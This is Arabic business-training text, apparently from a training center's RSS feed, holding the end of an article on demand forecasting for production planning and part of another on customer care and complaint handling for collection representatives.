   مما تقدم يتضح أن معرفة التغير المحتمل حدوثه في المستقبل بالنسبة للطلب على منتجات الشركة يمكن مدير الإنتاج أن يكون لديه الوقت اللازم للتدرج والكفاءة في تعديل نظامه الإنتاجي . إن إتاحة الوقت اللازم لمدير الإنتاج تعتبر العامل الأساسي لعدم إتاحة الفرصة لظهور ما يمكن تسميته إدارة الأزمات Crisis Management  وهو نمط الإدارة الذي يدير كل موقف بالنظر إليه على أنه حالة طوارئ أو أزمة  .

   إن هذا النمط من الإدارة في مجال الإنتاج غالبا ما ينتج عنه الكثير من المساوئ منها على سبيل المثال :- 

  • ضياع المجهودات .
  • زيادة التكاليف .
  • سوء العلاقة مع عملاء المنظمة .
  • انخفاض الروح المعنوية للعاملين .

وكما يعبر أحد العاملين في إحدى إدارات الإنتاج التي تمارس هذا النمط من الإدارة عن الوضع في هذه الحالة بقوله : 

 ” أن التخطيط والتنبؤ يتيحان الوقت الكافي لاستخدام التخطيط الإداري المنظم بدلا من استخدام إدارة الأزمات ” .

   وباستخدام التخطيط الإداري المنظم بالشركة الوطنية للدواجن والذي ينتج عن وجود نظام سليم للتخطيط والتنبؤ ، تصبح تقديرات المبيعات المحرك والدافع لإعداد الموازنات وتقوم الأقسام الإنتاجية – من عنابر إنتاج الدواجن والبيض والمجزر- باستنتاج الاحتياجات من :

  • عدد العاملين .
  • كمية المواد الخام .
  • حجم الأصول الرأسمالية .

   واللازمة لإنتاج الكمية المطلوبة من منتجات الدواجن بأنواعها في كل فترة زمنية.

     ويلي ذلك تقدير تكلفة استخدام هذه الاحتياجات وبمقارنتها مع الإيرادات المتوقعة من المبيعات يمكن حساب الربح أو الخسارة الناتجة خلال الفترة .

      إن هذه العملية التي تمثل فيها عملية التنبؤ بالمبيعات الخطوة المبدئية تصبح الإدارة الرئيسية للتخطيط والرقابة في المنظمة والتي يطلق عليها في النهاية مسمى الخطة .

 

مجالات ومدى التنبؤ في تخطيط الإنتاج :

     إن مدير الإنتاج عند قيامه بوظيفة تخطيط الإنتاج عليه أن يقوم بإعداد تنبؤات طويلة ، متوسطة وقصيرة الأجل بالنسبة للعديد من الجوانب .

 ويمكن تحديد نوع ومدى ومجالات التنبؤ في الجدول التالي  :-

جدول يوضح مدى ومجالات التنبؤ في تخطيط الإنتاج 

نوع التنبؤ مدى التنبؤ أمثلة للجوانب التي يجب التنبؤ بها وحدة القياس

في عملية التنبؤ
تنبؤ طويل الأجل سنـــــوات –         إضافة خطوط منتجات جديدة – الاستمرار في خطوط المنتجات الحالية .

–         الطاقة الإنتاجية .

–         التسهيلات الإنتاجية

 دولار

دولار

 

دولار ، وحدة ، عميل

مساحة ، حجم
تنبؤ متوسط الأجل شهـــور –         مزيج المنتجات .

–          طاقة الأقسام الإنتاجية

–          قوة العمل

–         المشتريات من المواد الخام

–          المخزون .

وحدات ساعة ، جنيه وحدة ، عدد العمال ساعات ، وحدات ، دولار ،

وحدات ، دولار
تنبؤ قصير الأجل أسابيــــع –         منتجات معينة

–          عمالة من فئة مهارة معينة

–          طاقة آلات

–          النقدية .

 –         وحدة

–         ساعة عمل

–         ساعة عمل وحدة

–         دولار

–         وحدة ، دولار

 

   ويوضح الجدول السابق بعض النواحي الشائعة في مجال التنبؤ فيما يتعلق بإدارة تخطيط الإنتاج .

   ففي مجال التنبؤات طويلة الأجل والتي يمتد مداها الزمني لعدة سنوات مستقبلية  فإن التنبؤ بالمبيعات في هذه الحالة يكون معبرا عن الطلب على كل خطوط المنتجات في الشركة . وتحقق عملية الشمول في التنبؤ بجميع المنتجات العديد من المزايا أهمها تقليل عدد التنبؤات المطلوب إجراءها بالإضافة إلى تحسين وزيادة دقة هذه التنبؤات  ويأتي ذلك عن طريق أن الخطأ في التقدير بالنسبة لبعض المجموعات بالسالب سيقابله غالبا خطأ في التقدير بالنسبة لمجموعات أخرى بالموجب مما يعمل على أن يكون الرقم الإجمالي للتنبؤ دقيق إلى حد كبير . وتشتد الحاجة إلى هذه التنبؤات الإجمالية طويلة الأجل بالنسبة للمبيعات نظرا لأنها تمثل نقطة البداية لتحديد التمويل طويل الأجل اللازم لتمويل عملية الحصول على هذه الطاقة .

    ويركز التخطيط متوسط الأجل كما يظهر في الجدول السابق والذي يتراوح مداه لعدة شهور ، على مجموعات معينة من المنتجات مصنفة بحيث تمثل كل مجموعة عائلة منتجات متجانسة . وتنتج الحاجة لهذا النوع من التنبؤات من أنه لتحديد قوة العمل المطلوبة والطاقة الإنتاجية لأقسام الإنتاج ، والمشتريات من المواد الخام وتحديد مستويات المخزون تعتمد أساسا على ناتج التنبؤات بالطلب على المجموعات السلعية.

     من ناحية أخرى فإن التنبؤات قصيرة الأجل في مجال تخطيط الإنتاج تنصب على ساعات العمل المطلوبة في كل فئة مهارة بالنسبة لقوة العمل ، وكذلك التنبؤات بمعدلات الإنتاج لكل آلة أو مجموعة آلات ، وكمية النقدية التي سيتم الحاجة إليها وكذلك المخزون من كل صنف من أصناف المنتجات خلال الفترة . ويلاحظ أن هذه التقديرات تعتبر عملية تجزئة للتنبؤات متوسطة الأجل والتي بدورها تمثل عملية تجزئة للتنبؤات طويلة الأجل . 

طرق تقدير حجم الطلب على منتجات الشركة :

=========================

      توجد مجموعة من المصطلحات التي تتعلق بتوضيح معنى كل من كلمتي السوق والمبيعات يجب إلقاء الضوء عليها لمعرفة الفرق بين كل منها قبل الدخول فى شرح طرق التقدير ، وهذه المصطلحات هي :

  • التنبؤ بالمبيعات SAIES FORECAST

          وهي عبارة عن تقدير لكمية المبيعات من منتج معين ( أو خط منتجات ) والتي تتوقع الشركة أن تحققها خلال فترة محددة قادمة ووفقا لخطة تسويقية معتمدة .

وعلى مستوي الشركة الوطنية للدواجن فالتنبؤ بالمبيعات تعني تقدير كمية الأطنان المتوقع بيعها من نوع من منتجات الدواجن بالشركة خلال فترة زمنية قادمة عادة سنة .

  • التنبؤ بالسوق MARKET FORECAST

      وهي عبارة عن تقدير لكمية المبيعات من منتج معين ( أو خط منتجات ) والتي تتوقع كل الشركات التي تنتج هذا النوع أن تحققها خلال فترة محددة قادمة وفقا لخطط التسويق لتلك الشركات .

ففي مجال صناعة الدواجن فالتنبؤ بالسوق يعني تقدير حجم المبيعات المتوقعة من منتجات الدواجن خلال فترة زمنية قادمة عادة سنة .

  • المبيعات المرتقبة SALES POTEITLAL

      وهي عبارة عن أقصى مبيعات يمكن أن تحققها المنشأة من منتج معين (أو خط منتجات ) خلال فترة محددة .

  • السوق المرتقبة MARKETPOTENTIAL

     وهي عبارة عن أقصى مبيعات من منتج معين ( أو خط منتجات ) يمكن أن تحققه مجموعة منشآت تنتج هذا النوع خلال فترة محددة .

      وهناك فرق بين المبيعات والسوق (Sales &    Market)  حيث ترتبط كلمة مبيعات بالمنشأة في حين ترتبط كلمة السوق بالصناعة أو كل الشركات التي تنتج نوع معين من المنتجات وبمعني آخر فإن كلمة مبيعات تعتبر مقياس على مستوى الشركة  MICRO     –     MEASURE في حين أن كلمة سوق هي مقياس على المستوى الكلى MACROMEASURE أما كلمة التنبؤ فهي اصطلاح يشير إلى المبيعات المتوقعة في ظل خطة تسويقية معينة في حين نجد أن كلمة المرتقبة تشير إلى المبيعات التي يمكن تحقيقها إذا  أمكن اجتذاب كل العملاء أمام الشركة أو بمعنى آخر فإنها تشير إلى الفرص البيعية أو فرص البيع  .

     ولاشك أن عملية تقدير حجم الطلب تتناول عنصرين أساسيين لمدير الإنتاج والعمليات وهما : حجم الطلب على المنتجات ، وتوقيت الطلب على كل منتج منها ، الأمر الذي يفيد في ترجمتها في مجال الإنتاج إلى حجم التسهيلات الإنتاجية التي يجب توفيرها لإنتاج الحجم المتوقع من الطلب ، وتوقيت الحصول على هذه التسهيلات لتتمكن المنظمة من مقابلة الطلب طبقا لتوقيتات الحاجة إليه .

     وفي هذا الشأن توجد مجموعة من طرق التقدير لحجم الطلب المتوقع والتي يمكن لمدير الإنتاج والعمليات الاعتماد عليها والاختيار من بينها سواء كانت طرقا كمية أو طرق غير كمية ( طرق وصفية ) .

     والأمر المهم الذي يجب أن يتذكره دائما مدير الإنتاج والعمليات هو أن هذه الطرق تعتبر بمثابة وسائل لتوفير وتحليل البيانات بغرض ترشيد اتخاذ القرارات ، وأن مسئولية اتخاذ قرار معين تقع على عاتقه في المقام الأول .

     وسوف نتناول في هذا الجزء من المادة العلمية لهذا البرنامج عددا من الطرق التي يمكن استخدامها في تقدير حجم الطلب على منتجات المنظمة بدء بالطرق غير الكمية ، ثم يلي ذلك شرحا لعدد من الطرق الكمية :

 

الطرق غير الكمية المستخدمة في تقدير حجم الطلب

=============================

Qualitative forecasting Methods

     توجد مجموعة من الطرق غير الكمية التي يمكن استخدامها في تقدير حجم الطلب على منتجات المنظمة ،(التنبؤ في مجال إدارة الإنتاج) . يمكن بيانها فيما يلي :

  • n التنبؤ على أساس تقديرات رجال البيع
  • n التنبؤ على أساس آراء خبراء الإدارة .
  • n التنبؤ باستخدام طريقة دلفي .
  • n استقصاء العملاء .
  • n تقدير المبيعات من واقع اختبارات السوق.

 

وفيما يلي شرح مختصر لكل طريقة من الطرق السابقة :

التنبؤ على أساس تقديرات رجال البيع 

        تعتبر تقديرات رجال البيع للمبيعات المقبلة من أهم طرق التنبؤ ويرجع ذلك إلى تواجد رجال البيع في السوق بصفة مستمرة وتعرفهم على ظروفها . وتعتمد هذه الطريقة على تكليف كل مندوب بيع بوضع تقديرات للمبيعات التي يستطيع تحقيقها خلال الفترة القادمة ثم يتم عقد اجتماع تناقش فيه تقديرات كل مندوب بيع وبعد بلورتها وتعديلها إذا لزم الأمر فإنها تعرض على مدير المبيعات ثم على الإدارة العليا . وتتميز هذه الطريقة بأنها تلزم رجال البيع بتحقيق الأهداف التي وضعها كل منهم حتى يستطيع أن يحصل على الحوافز المقررة ، ومن جهة أخرى فإنها يمكن من تحقيق الرقابة على رجال البيع حيث أن الأهداف التي حددها كل منهم لتكون مقياسا لإنجازاته بالنسبة للأهداف المطلوب تحقيقها . وتظهر عيوب تلك الطريقة في حالة انخفاض مقدرة رجال البيع على التنبؤ بتوقعات وأحداث السوق المقبلة كما أن تقديراتهم قد تكون مبالغا فيها أو العكس.

التنبؤ على أساس آراء خبراء الإدارة

         وهي إحدى الطرق التي يمكن الاعتماد عليها وتتلخص في عقد اجتماع بين رجال الإدارة والمسئولين في الشركة لمناقشة تقديرات المبيعات في السنة القادمة في ضوء خبرة كل منهم . وهذه الطريقة تعتمد على الخبرة الشخصية وتستبعد البيانات الإحصائية  .

التنبؤ باستخدام طريقة دلفى  Delphi  method  

     وتستخدم هذه الطريقة بهدف الوصول إلى إتفاق عام بين المديرين في لجنة معينة ( يمكن استخدامها مع الأسلوب .وطبقا لهذه الطريقة يقوم كل مدير بإجابة مجموعة من الأسئلة في دورات متتابعة . كل إجابة يتم الحصول على الرأي فيها من كل المشتركين . ويتم تكرار الدورات للحصول على الآراء ، وقد يتطلب الأمر تكرار هذه العملية لأكثر من 6 مرات قبل أن يتم الإتفاق على رأي معين والذي يمثل في هذه الحالة التقدير أو التنبؤ المطلوب .

     وباتباع هذه الطريقة يمكن أن يتم الوصول إلى تنبؤات تمت الموافقة عليها بواسطة أغلب المشتركين ، على الرغم من عدم موافقتهم المبدئية .

*   *   *

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/material_requirements_planning-1/feed/ 0 سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الخامسة https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-5/ https://cameknowledge.camecenter.com/articles/developing_the_skills_of_collection_representatives-5/#respond Mon, 03 Apr 2023 15:27:17 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10337 سلسلة مقالات – تنمية مهارات مندوبي التحصيل بقلم د/ محمود الضابط المقالة الخامسة  الاهداف : بلورة مهارات التمييز البيعى للمحصل لمواجهة الركود والمنافسة. تدريب المشاركين على مهارة العناية بالعملاء ومعالجة شكاواهم . تدريب المشاركين على مهارة جذب العملاء الجدد. صقل فنيات تحصيل حقوق الشركة .   يقول العميل العزيز … “إذا أشبعتني ملكتني” … وبالتالي فإن […]

The post سلسلة مقالات – تنمية مهارات مندوبي التحصيل-بقلم د/محمود الضابط – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تنمية مهارات مندوبي التحصيل

بقلم د/ محمود الضابط

المقالة الخامسة

 الاهداف :

  • بلورة مهارات التمييز البيعى للمحصل لمواجهة الركود والمنافسة.
  • تدريب المشاركين على مهارة العناية بالعملاء ومعالجة شكاواهم .
  • تدريب المشاركين على مهارة جذب العملاء الجدد.
  • صقل فنيات تحصيل حقوق الشركة .

 

يقول العميل العزيز … “إذا أشبعتني ملكتني” … وبالتالي فإن العناية بالعميل تعني مجموعة من التصرفات البشرية والمادية التي نعتمد عليك فيها كمحصل متميز. والتي يؤدي القيام بها إلي إشباع العميل وتحقيق درجة عالية من الرضاء عنك وعن السلع والخدمات التي إشتراها منك … ورغم أن كل ما سبق هي من سمات العناية بالعملاء، وتمثل بعضاً من مظاهرها … إلا أن مجرد التعبير عنها لا يعني العناية بالعميل … فرغم كل هذه التصرفات المطلوبة فإن عميلك يوف يذهب ولا يعود إذا أعطيته وعداً ولم يجده حين يتعامل …

لذلك فإن العناية بالعملاء هي تكوين داخلي لدي المؤسسة ولديك شخصياً لتكون إيجابياً في إشباعي كعميل من اللحظة الأولي التي تبحث فيها عن حاجاتي ومنافعي بدقة … وتسعي إلي تتبعي وتتوقع قدومي … وعليك أن تتبع حصولي علي هذه المنافع … وتقييم إشباعي … حتى يمكن أن تجذبني وتحتفظ بي … وما يهمني كعميل أن أجد هذا الإنطباع في تقديم سلعك وخدماتك وتنوعها … وفي تصميم ومواقع وتنظيم فروعك ووحداتك … علي وجه موظفيك … علي حركة مستنداتك … وعلي مقابلتك معي … وردك علي تليفوني … فأنا أقيّم كل شيء وأزنه وفقاً لمقاييسي الخاصة … وقد أرضي … فأستمر … ولم يتحقق لي الرضاء إلا من خلال إحساسي بصدق مشاعرك تجاهي ” فلا خير في حب يأتي تكلفاً ” … وإذا ما كنت إيجابياً معي … ظهرت عنايتك في كل مواقفك … ومع كل بادرة تعامل معك …

متي يوقف العميل التعامل مع الشركة ؟

تؤكد الإحصاءات المتاحة أن نحو 16% من العملاء يوقفون تعاملهم مع الشركة وذلك للأسباب الآتية:

1% موت العميل أو انقضاء شركته.

3% النقل من المكان.

5% نصائح أصدقاء بالانتقال إلي مكان آخر.

9% التحول للمنافسين لأنهم الأفضل.

82% بسبب عدم سعادتهم في التعامل وعدم حصولهم علي العناية الكافية من رجل التحصيل ومن شركته.

لماذا يكون العميل غير سعيد في التعامل مع الشركة ؟

إن عدم سعادة العميل تعني فقدان الكثير … وقد أوضحت دراسة علمية حديثة أنك – كرجل تحصيل – السبب الرئيسي في سعادته أو عدم سعادته … وعندما سألت العميل العزيز عن أسباب عدم سعادته، فكان رده كما يلي:-

  • عدم توافر الخدمات بمجرد طلبها.
  • إغفال الإفصاح والشرح الوافي لبعض المنتجات الجديدة عند تقديمها لي لأول مرة.
  • التعطيل من جانب الموظفين ورجال التحصيل.
  • استغراق وقت طويل قبل الإجابة علي طلباتي.
  • الإشارة إلي تقصير الإدارة كلما كان لي إعتراضاً.
  • استجابة رجل التحصيل بطيئة وضعيفة.
  • لا أجد الألفة والاهتمام والإيجابية علي وجه رجال البيع والتحصيل.
  • عدم إجابة مطالبي العاجلة.
  • عدم متابعة حاجاتي وتأكدهم من إشباعي.
  • إلقاء ردود تقليدية عقيمة … أي خدمة ؟ … ماذا تريد ؟

الدراسات تؤكد أن العميل يضع تقييماً لك كمحصل ولشركك:

عندما يتعامل معك العميل فإنه يضع تقييماً لك ولشركتك، فهو ليس مجرد أحد أفراد السوق الذي تقدم له خدماتك … بل إنه الأداة الرئيسية التي تتحدث عنك وعن خدماتك للآخرين … وإن تعاملك معه باحترام يجعله يأتي إليك ليتعامل مرات ومرات …

وبالتالي فإن مفاتيح العناية بالعملاء هي:

  • أن تكون اتجاهاتك تجاه العملاء إيجابية … بمعني أن تكون مؤمناً بداخلك أنك هنا لخدمته وإشباع حاجاته ورغباته.
  • أن تكون مُميزاً فيما تقدم … مُميزاً في شخصيتك حتى ترتسم في ذهن العميل.
  • أن تعلم أنك تفقد عملاءك عادة في بداية دوام العمل … حين لا تكون مستعداً للاستقبال … وفي نهاية دوام العمل … حين تكون مستعداً للرحيل.
  • أن تعلم أن الأخبار السيئة هي الأكثر سرعة في الانتشار وأن مجرد إحساس العميل بعدم أهميته سوف ينتقل إلي الآلاف شرقاً وغرباً مؤكداً عدم كفاءتك.

“When do something wrong, every body knows about it,

when I do something good nobody is around to see me doing it”

  • إتجاهات زملائك تجاه العملاء ومهمة إنهاء أعمالهم المترابطة في الوقت المناسب أمر ضروري لإستمرار التعامل.

مبادئ خدمة العميل والعناية به:

لم أجد إلا العميل لأسأله مباشرة ماذا تحتاج مني كرجل تحصيل لأقوم لك به … وكانت إجابته تحمل المستطاع منا أن نقوم به … حيث أجاب عميلي بما يلي:

  • أن أجد تلبية فورية لما أبحث عنه عندك … حيث أجدك دائماً مستعداً لتلقي مطالبي، ومجهزاً نفسك وأوراقك وسجلاتك للتعامل معي، وحتى تحصل علي ودي يجب أن أشعر بسرعتك في معاملتي … وأن أشعر برغبتك وإيجابيتك تجاه خدمتي … أو الرد علي مراسلاتي، أو الرد علي تليفوني … أو تلبية إحتياجاتي علي النحو الذي يحقق أقصي إشباع لي.
  • لا تعطيني وعوداً لا يمكن لك أن تنفذها … لأنني أبحث عن مدى قدرتك علي تلبية تلك الوعود … فإنني أبحث عن رائحة الخبرة بين موظفيك حين يقدمون الخدمة وبين زملائك من رجال التحصيل حين يحصلون مستحقاتهم، أبحث عن أخلصهم في تقديم النصيحة المتخصصة، وإذا واجهتني مشاكل لا تستطيع معها الوفاء بإحتياجاتي … أعطيتني البديل حتى أثق بك دائماً …
  • تعامل معي بدقة … كن دقيقاً فيما تعطيني من معلومات عن شركتك … كن دقيقاً في وعودك لإشباعي، كن دقيقاً في إستكمال مهمتك تجاهي … والعناية بحل مشاكلي.
  • إن مخاطبتي علي نفس مستوي فكري تجعلني أشعر بأن لي صديق في شركتك يتفهمني … ويعمل لصالحي، وإستخدام المودة تجعل عليك من الضروري أن تعرفني بنفسك … وأكن لك إحتراماً كلما كنت مُنصتاً جيد تنصت لقضاياي بإهتمام، وكلما إستخدمت إسمي علي لسانك … وكلما كانت نبرات صوتك مناسباً كلما سمعتك … وكلما كنت مُتحمساً تحمست لقاضاياك …
  • بالرغم من أن طلبي قد لا يمكن تلبيته بالصورة التي طلبتها ، إلا أنني لن أغضب من الرفض بقدر غضبي من أن لا تكون لبقاً في إبلاغي بذلك … ولا تأخذ الموضوع بشكل شخصي، تحكّم في نبرة صوتك، أود أن أراك دائماً مساعداً وناصحاً لي وفقاً لكل موقف.
  • لا أتوقع أن تكون معلوماتك عما تبيع ناقصة … فأنت الذي أثق به كمصدر للمعلومات الموثوق بها عن شركتك … وأود أن أعرف أي تغيرات أو إضافات يمكن أن تمس خدمتي، ولكن أود أن تكون تلك المعلومات دقيقة … وكاملة …
  • إن إنصاتك لي بإهتمام ودون مقاطعة هو نصف الطريق إلي تقهم رغباتي … إنني أري عينيك وتعبيراتك وتشجيعك لي لأتمم حديثي، إنني أري سعادتك بشكواي … فأنا إنسان أتأثر بكل ما يُقال عنك حتي ولو كان شيئاً غير حقيقي …
  • لا أحب أن ألقي منك ولو كنت مخطئاً – أية بوادر لتأنيبي .. فمن حقي أن أعترض وعليك أن تجيب … فأنا العميل …

 

شكاوى العملاء … كيف تتم معالجتها:

إن الجدال الغير مثمر يفقدك – كرجل تحصيل – فاعليتك وبريقك … ويفقدنا – كشركة – العميل العزيز … فأنت تكسب الرأي حقاً ولكنك تفقد الصفقة ومجرد شعور عميلك بأنك إنتصرت عليه يعني أنك قد فقدته إلي الأبد … وجدال عميلك يؤدي إلي :-

  • ترك جراح نفسية بكل من رجل التحصيل والعميل مما يؤدي إلي فقدان كل منهما للآخر…
  • إذا كسبت الرأي من عميلك … فأنت الخاسر الأول لأن المكسب يعني شعور العميل بالهزيمة وعدم قدرته علي الإقناع .. وبالتالي فقدان العميل إلي الأبد.
  • إن الجدل يحول الكثير من الأفكار المنطقية العقلية إلي أفكار عاطفية سريعة التأثير والحكم … وبالتالي فإنك تفقد عميلك في معظم الحالات.

ولكن كيف لي أن أتعامل مع شكاوى عميلي ؟

  • لا تتوقع أن يكون عميلك دائماً في موقع الرشد العقلي الكامل … الذي يمكّنه من تفهم كل ما تقول.
  • عميلك لديه حساسية فائقة لعدم الإهتمام بما تقول، أو به شخصياً … وبالتالي يحتاج عميلك إلي معالجة شكواه بأسلوب خبير مهتم..
  • إن شكوى العميل هي فرصتك لتوضيح أقصي درجات الخبرة المتخصصة في عملك … والمتاحة لدي الشركة … ولكي يعرفها العميل بناء علي طلبه …
  • خذ علي عاتقك أن تحقق رضاء العميل وترد علي شكواه بشكل مرضي له … وسريع للغاية.
  • إشعره بأهمية ما يتحدث عنه، ومدى إستفادتنا نحن كشركة من آرائه.
  • تعلم من كل شكوى وإعتبر الشكوى فرصة لمعرفة الأخطاء ودليل لتحسين وتطوير الأداء.
  • كافئ الشاكين … ولا تعتبرهم مشاكسين، بل هم مشاركين … وإجعل الشكوى فرصة للإقتراب منهم … ومحو المرارة التي يشعرون بها تجاهك …

هل تعالج العناية بالشكاوى ما نراه من جبل الجليد

 

 

علق على الرسم السابق وعالج قضاياك اليومية …

………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

 

1-       التغير المستمر في رجال التحصيل.

2-       القول للعميل … هذا ليس عملي.

3-       تقديم خدمة متواضعة.

4-  إظهار الضيق من المطالب المتعددة للعميل

5-       عدم اللباقة في المعاملة.

6-  عدم التجارب في التعبير عن مشاكل كل العملاء.

7-       عدم الاهتمام بآراء العملاء.

8-  عدم معرفة رجل التحصيل بخدمات الشركة.

9-       عدم إنصات العميل إطلاقاً إلي ما تقول.

10- عدم معالجة الشكاوى بأسلوب فوري.

11- الإعتقاد بأن الآخرين لا يقومون بعملهم علي أحسن وجه.

12- الإهتمام الشديد بالمستندات والأعمال الورقية.

 13- عدم تقديم الجديد الذي يزيد من رضاء العميل.

14- لا يهمني … فليذهب العميل إلي الحجيم فالله وحده هو الرزاق.

15- عدم قياس رضاء العميل عن منتجاتنا.

16- عدم تحليل إحصاءات العملاء.

17- زيادة العملاء عن طاقة رجال التحصيل.

18- العميل يأتي عدة مرات من أجل موضوع واحد.

19- نعطي وقت أطول لمناقشة مشاكل العمل.

20- الخدمات المنافسة أقوى منا.

21- تغلب مقتضيات الدقة علي السرعة.

22- ضيق الوقت لشرح أي تفاصيل للعملاء.

23- النظر إلي العملاء بإعتبارهم لا يفهمون أعمالنا.

إنها ليست مجرد أمنية …ولكن هدف يجب أن تسعي الشركة إليه من خلالك أنت كرجل تحصيل متميز … إن بداية الطريق أن تتفهم عميلك وتعرف ماذا يريد ، وذلك من خلال وجود إجابة واضحة علي التساؤلات الآتية:-

  • لماذا يتعامل معك هذا العميل … ؟
  • ما هي أوجه استفادته واستخداماته لمنتجاتك وخدماتك المتاحة … ؟
  • ما هو الذي يحبه لديك … وما هو الذي لا يحبه ؟
  • كيف يضع صورتك بين مختلف المنافسين الذين يقدمون منتجات وخدمات منافسة ؟
  • ماذا يسره … وماذا يضايقه ؟

ودورك هنا يا من تتعامل مباشرة مع العميل ضرورياً وحيوياً، لأن إدارة الشركة تعول عليك كرجل تحصيل الكثير في تحديد صفات هؤلاء المتعاملين وماذا يريدون … ويأتي ذلك من خلال مواجهتك اليومية مع العميل …

  • إجعل ملاحظتك دقيقة لإقتراحات العملاء وتعليقاتهم … وإعطها سمعك وتفكيرك، فلربما ملاحظة عابرة تعطي خدمة جديدة تُكسب الشركة الملايين .. وأكتب … وأكتب … وأكتب دائماً … للإدارة بكل تلك الهمسات … واعلم أن :

تسليم المنتجات بجودة عالية = إحتفاظ بالعميل الحالي + جذب للعميل المرتقب. 

ولا تترك عميلاً يخرج دون شعورك بحل مشكلته وتقديم البدائل المناسبة بمرونة عالية … وإعلم أن :

80% من المنتجات الجديدة أو تطوير لمنتجات حالية مصدره العملاء …

ب) تابع تعبيرات عميلك عند عرض أى منتج ، أو سعر .. أو أسلوب لتأدية الخدمة أو متابعتها لترى بنفسك كم إقتنع عميلك .. وإعلم أننا كشركة نبحث بين كلماتك وإعمالك عن أداء يساوى 100% من الاشباع والرضا لعملينا .. فهذه سياستنا .

ج) إعلم أن عميلك يسعى إلى ما يعتقده فى حدود معرفته ..التى إذا ما تغيرت تعطى للشركة أسبقية فى الاشباع ..لذا فأنت عين وإذن وصوت عميلك لدى لشركة تمثل مصالحة لتكسبه وتحتفظ به ..

د) اعمل من خلال مفهوم الخبير ( لا الموظف ) واحرص على أن تكون معلوماتك عن أعمال الشركة المتكاملة متواجدة .. وليست عن تخصصك فقط .. فإن أعمال الشركة متشابكة .. وترابط فكريا مع زملائك ورؤسائك .. من أجل تحقيق هدف (100% إشباع ورضا للعملاء )…

ماذا يحتاج عملاؤك لتضمن بقاؤهم معك ؟ إن مبادئ تحقيق فرصة البقاء الدائم لعميلك تعتمد على استكشاف فرص إشباعه .. ثم بذل الجهود لإشباعها .. وعميلك (فرد أو منشأة ) يقول ..

  • أود ان اشعر انك تحترمنى .. وتحترم فكرى …
  • أن تقدم لى ما يتناسب مع توقعاتى من منتجاتك ومن خدماتك وموظفيك ..
  • أود أن أشعر فى كل لقاء معك أو صفقة أننى حصلت على ما يفيدنى وما ينفعنى …
  • ساعدنى فى حل مشكلاتى .. ووضح امامى البدائل التى تمكننى من تخطى تلك المشكلات …
  • إجعل خدماتك تتعدد وتتناسب … كانها قد اعدت لى شخصياً دون غيرى .
  • حافظ بإحترام على وقتى فهو ثمين …
  • كن دائماً بجانبى وأشعر بذلك ..

ولا تنس أن المتعامل الذى جاء إلى الشركة لمجرد سؤال هو عميل المستقبل الذى يجب عليك أن تجذبه فوراً …

 

أنت – كرجل تحصيل – تعمل في مجال متطور من الأعمال … يحتاج – ليستمر وينمو – إلي جذب المزيد من العملاء … ودورك كرجل تحصيل هو دور أساسي في هذا المجال حيث تلتقي يومياً بالعشرات والمئات من عملائنا الأعزاء … وحيث يكّون عميلنا إنطباعه الأساسي من مقابلتك وطريقة تعاملك معه … وبالتالي فإنك في موقع مثالي لترويج سلعنا وخدماتنا وتقديمها للعملاء بما يتناسب مع مفاهيمهم .. من خلال :

  • تكوين صورة ذهنية طيبة ومعرفة متكاملة عن الشركة ومنتجاتها.
  • بناء أعمال الشركة وجذب الأعمال الجديدة … من خلال المواءمة بين حاجات ورغبات العملاء مع ما نقدمه من منتجات وخدمات.

(1) قبل أن تبدأ في التعامل مع العملاء:

أنت بلا شك خبيرنا الأول … نعتمد عليك في تقديم منتجاتنا … ولكن فاقد الشيء لا يعطيه … عليك أن تتساءل عن مقدار ما تعرف فنياً ( Product Knowledge) … وإجعل من مظهرك القنطرة التي يعبرها عميلك للتعامل مع جوهرك …

* إحرص علي مظهرك وسلوكك:

  • إلبس دائماً ملبساً يتناسب مع كونك من رجال الأعمال.
  • إجعل مكان عملك نظيفاً مرتباً.
  • إستخدم صوتاً وسطاً يتناسب مع سمعة الشركة ومركزك فيها.
  • إجعل الإبتسامة جزء من شفتيك.
  • إشعر عميلك أنك سعيد برؤيته.
  • إبتعد عن مضغ اللبان … أو تدخين السجائر …

* إهتم بمصالح عميلك تكسبه :

  • أنصت بإهتمام للعميل.
  • تأكد من أنك أشبعت حاجاته.
  • حاول أن تسعده في إشباع حاجات جديدة

* أتمم عملك التحصيلي بشكل متكامل كله ثقة:

  • لا تجعل أي أمور تقاطعك أثناء قيامك بإتمام الصفقة.
  • تأكد من أنك قد فهمت متطلبات عميلك (بمفهومه هو).
  • إعط معلومات واضحة لعميلك عند الضرورة.
  • تأكد من أنك قد أشبعت حاجات عميلك بإنهاء العملية وفقاً لما يتصور هو.

* لا تنس … بث الثقة في عميلك عن الشركة … فهي ضرورة …

  • ناقش عميلك في أي معاملة بصوت منخفض.
  • لا تنتقد سياسات الشركة وإجراءاتها أمام العملاء. 

(2) وائم بين حاجات العملاء ومنتجات الشركة:

إن دورك يا صديقي هو مساعدة المئات من العملاء من خلال إكتشاف حاجاتهم لمختلف المنتجات ومواءمتها بما هو متاح لديك.

(أ) حدد حاجات العملاء:

يبدي العملاء الكثير من التعبيرات المباشرة التي تحدد الحاجة لنوع معين من المنتجات التي عليك متابعتها.

* التعبيرات التي توضح الحاجات المباشرة:

من الأمور المعتادة أن يشرح العميل ما يريد في شكل جمل أو أمثلة … ويسعي المحصل المتميز إلي متابعتها وتسجيلها والعمل علي إشباعها …

